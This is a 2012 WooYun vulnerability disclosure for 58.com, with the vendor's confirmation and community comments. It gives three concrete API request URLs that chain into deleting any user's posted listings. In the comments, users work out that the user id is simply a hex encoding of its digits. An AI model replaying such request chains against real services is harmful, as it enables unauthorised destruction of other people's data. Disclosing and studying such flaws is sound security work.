当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-014751

漏洞标题：58同城删除任意用户信息漏洞

相关厂商：58同城

漏洞作者： 孤魂

提交时间：2012-11-14 08:37

修复时间：2012-12-29 08:38

公开时间：2012-12-29 08:38

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-11-14： 细节已通知厂商并且等待厂商处理中
2012-11-15： 厂商已经确认，细节仅向厂商公开
2012-11-25： 细节向核心白帽子及相关领域专家公开
2012-12-05： 细节向普通白帽子公开
2012-12-15： 细节向实习白帽子公开
2012-12-29： 细节向公众公开

简要描述：

可以删除任意用户发布的信息

详细说明：

1、通过API获取i值：http://api.wap.58.com/api/info/infolisttemplate/bj/hezu/0/50?pic=1
2、组合i值，获取用户id:http://api.wap.58.com/api/info/infoview/bj/isall/AADD95C12189A537CC07A74ECFAD8B5F/?pic=1
3、组合删除代码:http://api.wap.58.com/api/user/deleteinfo/?userid=3130393236333139383139303134&infoids=83C0A6A1F3506173E3D628DC6BA6CEC7

3130393236333139383139303134与1092631xxx神马关系

漏洞证明：

1.png


2.png


3.png


4.png

修复方案：

版权声明：转载请注明来源 孤魂@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2012-11-15 14:07

厂商回复：

的确是非常严重的漏洞，如果被利用的话，影响面较大，已经在修改之中。

最新状态：

暂无

漏洞评价：

评论

  1. 2012-11-14 09:32 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    这个只能删除部分的，换参数的话，只能删除部分参数值的。5月份的时候，和@301在广州测试过的。

  2. 2012-11-14 10:56 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @momo 早你不报 而且貌似不是你这个

  3. 2012-11-14 10:56 | 孤魂 ( 路人 | Rank:15 漏洞数:1 | 幽兰花，在空山，美人爱之不可见！)

    @momo 只要懂得userid的加密原理，可以全删

  4. 2012-11-14 10:58 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @孤魂 这个不好懂得吧

  5. 2012-11-14 11:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @孤魂 哈哈 我知道加密原理了

  6. 2012-11-14 13:16 | 孤魂 ( 路人 | Rank:15 漏洞数:1 | 幽兰花，在空山，美人爱之不可见！)

    @xsser B-1了：）

  7. 2012-11-14 22:09 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    @xsser 当时301说没用。后来就没去管了。

  8. 2012-11-15 21:31 | 灵惜 ( 路人 | Rank:14 漏洞数:2 | 哇咔咔，搞定它)

    58问题比较严重啦，我的58密码被改，然后被用来发垃圾信息。逼的我开手机白名单。

  9. 2012-12-07 05:48 | popok ( 普通白帽子 | Rank:117 漏洞数:24 | nothing)

    @xsser 每位+30